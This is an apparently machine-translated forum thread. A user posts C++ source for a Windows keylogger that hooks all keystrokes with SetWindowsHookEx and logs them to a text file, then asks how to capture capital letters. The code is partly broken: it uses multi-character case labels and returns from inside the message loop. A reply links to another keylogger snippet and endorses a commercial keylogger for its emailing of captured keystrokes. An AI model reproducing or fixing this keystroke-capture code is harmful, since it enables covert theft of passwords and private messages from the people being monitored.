Last assistance Keylogger

Hi
I already have the proper keylogger code which I have written but the problem is that it saves only lowercase characters and I want to save small and large. I know that it'''' tolower is responsible but I do not know what to do
Code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <iostream>
#include <windows.h>
#include <fstream>
using namespace std;
ofstream out("plik.txt", ios::out);
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);

if (wParam==WM_KEYDOWN)
{
    switch (p->vkCode)
    {

        case 'VK_A' : out <<"A"; break;
        case 'VK_a' : out <<"a"; break;

        default:
              out << char(tolower(p->vkCode));
    }

}
return CallNextHookEx(NULL, nCode, wParam, lParam);


}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
    MSG msg;
HHOOK keyboardhook = SetWindowsHookEx (WH_KEYBOARD_LL, keyboardHookProc, GetModuleHandle(0), 0);

while(GetMessage(&msg, NULL, 0, 0))
{
    TranslateMessage(&msg);
    DispatchMessage(&msg);
    return msg.wParam;
}


}
On Daniweb you will find the code for a cpp code:
http://www.daniweb.com/software-development/cpp/code/217096/keylogger-using-window-hooks

There you will find the adjustment to differentiate between lower and upper case.

If you are thinking about using a keylogger for personal usage on your computer, I recommend Wolfeye Keylogger (download from CHIP ONLINE): very stable, easy to use, email sending perfect.

Regards
Falko
I can only write their terms to be those characters that is what I gave for example:
! @ # $% ^ & * () _ + {[}] '". /?> <And capital letters
Topic archived. No new replies allowed.